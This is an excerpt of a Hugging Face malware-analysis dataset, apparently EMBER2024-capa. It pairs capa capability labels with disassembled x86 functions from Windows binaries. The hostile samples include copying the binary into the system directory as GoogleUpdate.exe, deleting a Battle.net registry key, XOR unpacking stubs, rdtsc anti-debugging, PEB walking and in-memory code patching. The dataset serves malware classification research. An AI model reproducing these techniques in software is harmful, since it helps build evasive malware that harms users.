joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402880
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREBlizzard_EntertainmentBattle.net
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp esi, esp
call fcn.00403670
test eax, eax
je 0x4028d5
mov esi, esp
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.00403670
jmp 0x402900
mov esi, esp
push str.Identity
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
cmp esi, esp
call fcn.00403670
mov esi, esp
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.00403670
pop edi
pop esi
pop ebx
add esp, 0x44
cmp ebp, esp
call fcn.00403670
mov esp, ebp
pop ebp
ret

Function at 0x402a80
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
push ebx
push esi
push edi
lea edi, [ebp - 0x248]
mov ecx, 0x92
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x208], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, esp
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp esi, esp
call fcn.00403670
push str.GoogleUpdate.exe
lea ecx, [ebp - 0x104]
push ecx
call fcn.00403b40
add esp, 8
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.00402460
add esp, 8
mov esi, esp
push 0
lea ecx, [ebp - 0x104]
push ecx
push 0x412dcc
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp esi, esp
call fcn.00403670
test eax, eax
jne 0x402b3b
jmp 0x402bbd
lea edx, [ebp - 0x208]
push edx
call fcn.00403840
add esp, 4
cmp eax, 0x26
jne 0x402b5e
lea eax, [ebp - 0x208]
push eax
call fcn.00402920
add esp, 4
push 0x104
push 0
lea ecx, [ebp - 0x208]
push ecx
call fcn.00403c60
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call fcn.00402270
add esp, 4
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.00402530
add esp, 8
lea edx, [ebp - 0x208]
push edx
call fcn.00402600
add esp, 4
test eax, eax
jne 0x402bae
jmp 0x402bbd
lea eax, [ebp - 0x208]
push eax
call fcn.00402720
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x248
cmp ebp, esp
call fcn.00403670
mov esp, ebp
pop ebp
ret
Function at 0x4034c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
push ebx
push esi
push edi
lea edi, [ebp - 0x29c]
mov ecx, 0xa7
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [str.073110116101114110101116082101097100070105108101]
push ecx
call fcn.00401860
add esp, 8
mov esi, esp
lea edx, [ebp - 0x104]
push edx
mov edi, esp
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp edi, esp
call fcn.00403670
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.00403670
mov dword [0x412ed0], eax
call fcn.00402410
test eax, eax
jne 0x403561
call fcn.00402a80
call fcn.004033c0
call fcn.00402880
call fcn.00401f50
xor eax, eax
jmp 0x403651
mov eax, dword [ebp + 0x10]
push eax
call fcn.00403840
add esp, 4
test eax, eax
je 0x403586
push str.start
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00403950
add esp, 8
test eax, eax
jne 0x4035f2
push 0x44
push 0
lea edx, [ebp - 0x148]
push edx
call fcn.00403c60
add esp, 0xc
mov dword [ebp - 0x11c], 1
mov word [ebp - 0x118], 5
push str.__start
push 0x412dcc
call fcn.00403b40
add esp, 8
mov esi, esp
lea eax, [ebp - 0x158]
push eax
lea ecx, [ebp - 0x148]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x412dcc
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp esi, esp
call fcn.00403670
xor eax, eax
jmp 0x403651
call fcn.00403460
mov byte [ebp - 0x25c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x25b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [ebp - 0x25c]
push edx
push 0x412dcc
call fcn.00402460
add esp, 8
lea eax, [ebp - 0x25c]
push eax
call fcn.00403840
add esp, 4
cmp eax, 0x26
jne 0x403647
lea ecx, [ebp - 0x25c]
push ecx
call fcn.00402720
add esp, 4
call fcn.004033c0
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x29c
cmp ebp, esp
call fcn.00403670
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40a1de
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x80c458]
jne 0x40a1e8
repz ret
jmp fcn.0040cf0b

Function at 0x40a97b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x80c458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00408497
and dword [ebp - 0x14], 0
cmp dword [0x80e9e0], 0
mov dword [ebp - 0x18], eax
jne 0x40aa2e
push 0x4021f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40aad6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4021e4
push ebx
call edi
test eax, eax
je 0x40aad6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4021d4
push ebx
mov dword [0x80e9e0], eax
call edi
push eax
call esi
push 0x4021c0
push ebx
mov dword [0x80e9e4], eax
call edi
push eax
call esi
push 0x4021a4
push ebx
mov dword [0x80e9e8], eax
call edi
push eax
call esi
mov dword [0x80e9f0], eax
test eax, eax
je 0x40aa2e
push 0x40218c
push ebx
call edi
push eax
call esi
mov dword [0x80e9ec], eax
mov eax, dword [0x80e9ec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40aa87
cmp dword [0x80e9f0], ecx
je 0x40aa87
push eax
call esi
push dword [0x80e9f0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40aa87
test ebx, ebx
je 0x40aa87
call edi
test eax, eax
je 0x40aa7e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40aa7e
test byte [ebp - 8], 1
jne 0x40aa87
or dword [ebp + 0x10], 0x200000
jmp 0x40aaba
mov eax, dword [0x80e9e4]
cmp eax, dword [ebp - 0x18]
je 0x40aaba
push eax
call esi
test eax, eax
je 0x40aaba
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40aaba
mov eax, dword [0x80e9e8]
cmp eax, dword [ebp - 0x18]
je 0x40aaba
push eax
call esi
test eax, eax
je 0x40aaba
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x80e9e0]
call esi
test eax, eax
je 0x40aad6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40aad8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a1de
leave
ret
Function at 0x808070
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0xb92a90], ax
mov word [0xb92a94], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0xb92a90
mov dword [0xb92a9c], 0x320033
mov dword [0xb92aa4], 0x6c006c
mov word [0xb92a96], cx
mov dword [0xb92a98], 0x6c0065
mov dword [0xb92aa0], 0x64002e
mov word [0xb92a92], dx
mov word [0xb92aa8], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0xb92a8c]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0xb92a88], eax
mov eax, dword [0x813adc]
push edx
push eax
mov byte [0x80ed53], 0x65
mov dword [0x80ed49], 0x75747269
mov word [0x80ed4d], 0x6c61
mov byte [0x80ed48], 0x56
mov word [0x80ed54], 0x7463
mov byte [0x80ed56], 0
mov dword [0x80ed4f], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret

Function at 0x808160
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x148c
call fcn.0040cee0
cmp dword [0xb92a8c], 0x37
jne 0x808235
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4046bc
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ecx, dword [esp + 4]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
push 0
lea edx, [esp + 0x48c]
push edx
push 0x4046e8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea eax, [esp + 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 0xc]
push edx
push 0x404728
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
push 0
lea ecx, [esp + 0xc8c]
push ecx
push 0
push 0x40473c
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
push 0
push 0
push 0x404774
push 0x40478c
push 0x4047a4
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov edx, dword [0xb93a80]
mov dword [esp + 4], edx
mov eax, 0x5d1
add dword [esp + 4], eax
mov eax, dword [esp + 4]
mov cl, byte [eax + esi]
mov edx, dword [0x813adc]
mov byte [edx + esi], cl
add esp, 0x148c
ret
Function at 0x8083d0
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0xb92a8c]
sub esp, 0x2dc
push ebx
push ebp
push esi
mov esi, dword [0x813adc]
shr eax, 3
push edi
test eax, eax
je 0x80857c
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], eax
jmp 0x808404
mov esi, dword [esp + 0x18]
cmp dword [0xb92a8c], 0x1c
jne 0x808421
lea eax, [esp + 0x38]
push eax
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov edx, dword [0x80d210]
mov ecx, dword [0x80d214]
mov eax, dword [esi]
mov edi, dword [esi + 4]
mov dword [esp + 0x28], edx
mov edx, dword [0x80d218]
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x80d21c]
mov dword [esp + 0x14], eax
mov ebx, 0xc6ef3720
mov dword [esp + 0x24], edx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x1c], 0x20
jmp 0x808465
mov eax, dword [esp + 0x14]
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [esp + 0x34]
shl ecx, 4
add ecx, dword [esp + 0x24]
add eax, ebx
xor edx, ecx
xor edx, eax
sub edi, edx
mov ecx, edi
shl ecx, 4
mov dword [0xb929fc], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
cmp dword [0xb92a8c], 0x1be
lea ebp, [ebx + edi]
jne 0x8084ba
lea edx, [esp + 0x30]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov esi, edi
shr esi, 5
add esi, dword [esp + 0x2c]
cmp dword [0xb92a8c], 0x979
mov dword [0xb92a00], 0xff6b3619
mov dword [0xb92a04], 0xffffffff
jne 0x8084fa
mov eax, dword [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
xor esi, ebp
xor dword [esp + 0x10], esi
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
add ebx, 0x61c88647
dec dword [esp + 0x1c]
jne 0x808461
cmp dword [0xb92a8c], 0x8d4
jne 0x80852f
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov dword [esi], edx
mov dword [esi + 4], edi
cmp dword [0xb92a8c], 0x17
jne 0x80856b
push 0
push 0
push 0
push 0x404690
push 0x4046a4
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
lea eax, [esp + 0x98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
add esi, 8
dec dword [esp + 0x20]
mov dword [esp + 0x18], esi
jne 0x808400
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2dc
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x3521696
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x4b322710
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x40893a
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop eax
call fcn.00408966
add ecx, ecx
add ecx, ebx
xor dword [edx], eax
dec ecx
inc edx
sub esp, 4
mov dword [esp], ecx
pop ebx
mov ebx, 0xece8c8af
cmp edx, edi
jne fcn.0040893a
or ecx, ecx
ret
Function at 0x10003880
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x1000388d
xor eax, eax
pop esi
ret
push esi
call dword [0x1000e964]
add esp, 4
test eax, eax
jne 0x1000389d
pop esi
ret
cmp eax, 1
jne 0x100038ab
cmp byte [esi], 0x5c
jne 0x100038ab
xor eax, eax
pop esi
ret
push esi
call fcn.10003630
add esp, 4
test eax, eax
je 0x100038bf
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop esi
ret

Function at 0x100038e0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x10003949
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.100030c0
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret

Function at 0x10003950
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x100039e2
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x100039d4
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x100039cc
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x10003995
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x10003cf0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x10003d0e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x10003d03
pop esi
ret
Function at 0x41b690
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x485008]
xor eax, ebp
mov dword [ebp - 4], eax
push str.c:dev.___
lea ecx, [ebp - 0x1c]
call fcn.0041c270
lea ecx, [ebp - 0x1c]
call fcn.0041c070
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x41b6d2
mov byte [ebp - 0x1d], 1
lea ecx, [ebp - 0x1c]
call fcn.0041c130
mov al, byte [ebp - 0x1d]
jmp 0x41b6e1
mov byte [ebp - 0x1e], 0
lea ecx, [ebp - 0x1c]
call fcn.0041c130
mov al, byte [ebp - 0x1e]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00439667
mov esp, ebp
pop ebp
ret

Function at 0x449aff
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044997e

Function at 0x451cec
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..data
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x3b642017
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data_1
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x53151a5a
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x4117af
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
jne 0x411824
mov edx, edi
add edx, dword [edi + 0x3c]
cmp word [edx], 0x4550
jne 0x411824
mov dword [ebp - 0xc], edx
mov eax, dword [edx + 0x78]
add eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [eax + 0x20]
add eax, dword [ebp + 8]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 8]
cmp ecx, dword [edx + 0x18]
jge 0x411824
mov ebx, dword [ebp - 4]
mov ebx, dword [ebx + ecx*4]
add ebx, dword [ebp + 8]
push dword [ebp + 0xc]
push ebx
call fcn.00411580
cmp eax, 1
je 0x411804
inc ecx
jmp 0x4117e2
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x24]
add eax, dword [ebp + 8]
xor ebx, ebx
mov bx, word [eax + ecx*2]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
add eax, dword [ebp + 8]
mov edx, dword [eax + ebx*4]
add edx, dword [ebp + 8]
jmp 0x411826
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x411830
Capabilities:
Access peb ldr_data

Disassembly:
xor edx, edx
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov edx, dword [ebx + 0x10]
mov dword [0x412c24], edx
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov dword [0x412c20], ebx
ret

Function at 0x4118e6
Capabilities:
Execute anti-debugging instructions

Disassembly:
push eax
mov edi, eax
mov esi, 0x412020
mov ecx, dword [0x4115b8]
shr ecx, 1
dec ecx
mov bl, byte [0x4115bc]
rdtsc
push eax
mov bh, byte [esi]
inc esi
mov byte [edi], bh
inc edi
mov al, byte [esi]
stosb byte es:[edi], al
add byte [edi - 1], bl
inc esi
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
loop 0x411906
rdtsc
pop edx
sub eax, edx
pop edx
push edx
push 0
push 0
push 0x4119dc
call dword [fcn.00411c2a]
push 0x4119a1
push eax
call dword [fcn.00411c3a]
mov dword [fcn.00411c1e], eax
push 0
push 2
push 0x4119da
push 0x4119b0
call dword [fcn.00411c1e]
pop edx
sub edx, eax
ret
Function at 0x100012b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10015004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
je 0x10001416
cmp dword [ebx + 0x10000], 0x19999999
push esi
push edi
jne 0x1000135b
cmp dword [ebx + 0x10004], 0xce8b4072
jne 0x1000135b
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
lea esi, [ebx + 0x1e3e]
mov dword [ebp - 8], 0x20
push esi
call edi
lea eax, [ebp - 8]
mov byte [esi], 0
push eax
push dword [ebp - 8]
push 1
push esi
call edi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x20
push eax
push 0x40
push 6
lea esi, [ebx + 0x103832]
push esi
call edi
mov eax, dword [0x10016188]
mov dword [esi], eax
movzx eax, word [0x1001618c]
mov word [esi + 4], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 6
push esi
call edi
lea esi, [ebx + 0x103872]
jmp 0x100013e4
cmp dword [ebx + 0x10000], 0x5f653c06
jne 0x10001414
cmp dword [ebx + 0x10004], 0x453c0474
jne 0x10001414
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
lea esi, [ebx + 0x1f16]
mov dword [ebp - 8], 0x20
push esi
call edi
lea eax, [ebp - 8]
mov byte [esi], 0
push eax
push dword [ebp - 8]
push 1
push esi
call edi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x20
push eax
push 0x40
push 6
lea esi, [ebx + 0x110572]
push esi
call edi
mov eax, dword [0x10016188]
mov dword [esi], eax
movzx eax, word [0x1001618c]
mov word [esi + 4], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 6
push esi
call edi
lea esi, [ebx + 0x1105b2]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x20
push eax
push 0x40
push 6
push esi
call edi
mov eax, dword [0x10016180]
mov dword [esi], eax
movzx eax, word [0x10016184]
mov word [esi + 4], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 6
push esi
call edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10001451
mov esp, ebp
pop ebp
ret

Function at 0x1000a650
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000a67d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000a67d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret